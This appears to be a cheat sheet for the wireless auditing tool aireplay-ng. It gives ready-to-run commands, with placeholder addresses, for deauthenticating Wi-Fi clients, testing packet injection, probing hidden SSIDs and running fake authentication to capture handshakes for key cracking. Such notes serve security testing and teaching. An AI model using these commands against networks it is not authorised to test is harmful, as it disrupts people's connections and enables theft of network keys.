aireplay-ng

Used to inject/replay frames. Generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys.

Aireplay-ng has many attacks that can de-authenticate wireless clients for the purpose of capturing WPA handshake data, fake authentications, interactive packet replay, hand-crafted ARP request injection, and ARP-request re-injection.

Disconnect a client

This can be used when looking for hidden SSID with airodump.

# -0: send a disconnect signal. The number that follows is the amount of requests
# that it should send.
# Need network BSSID and client BSSID

# MAC/physical address
BSSID="00:00:00:00:00:00"
CLIENT="11:11:11:11:11:11"
INTERFACE="wlan1"

aireplay-ng -0 15 -c "$CLIENT" -a "$BSSID" "$INTERFACE"

Deauthenticate (disconnect) all clients

# If problem with channel (5 is channel number): airmon-ng start wlan1 5

# MAC/physical address
BSSID="00:00:00:00:00:00"
INTERFACE="wlan1"

aireplay-ng -0 1 -a "$BSSID" wlan1

Check if network card supports injection

# rfkill list, then rfkill unblock IDENTIFIER

INTERFACE="wlan1"
aireplay-ng -9 "$INTERFACE"

Check a hidden SSID or check a specific SSID

# -a: Access point MAC address
# -e: Target SSID

# MAC/physical address
MAC="00:00:00:00:00:00"
SSID="WIFI_NETWORK_NAME"
INTERFACE="wlan1"

aireplay-ng --test -e "$SSID" -a "$MAC" "$INTERFACE"

Run the deauthentication attack

Run the deauthentication attack (-0), sending 5 packets to the wireless access point to deauthenticate a wireless client via the monitor mode interface.

MAC="00:00:00:00:00:00"
CLIENT="mac address of client"
INTERFACE="wlan1"

aireplay-ng -0 5 -a "$MAC" -c "$CLIENT" "$INTERFACE"

Run the fake authentication attack

Run the fake authentication attack and re-authenticate every 6000 seconds (-1 6000) against the access point with the given SSID, specifying our mac address using monitor mode interface wlan1.

SSID="WIFI_NETWORK_NAME"
MAC="00:00:00:00:00:00"
MYMAC="22:22:22:22:22:22"
INTERFACE="wlan1"

aireplay-ng -1 6000 -e "$SSID" -a "$MAC" -h "$MYMAC" "$INTERFACE"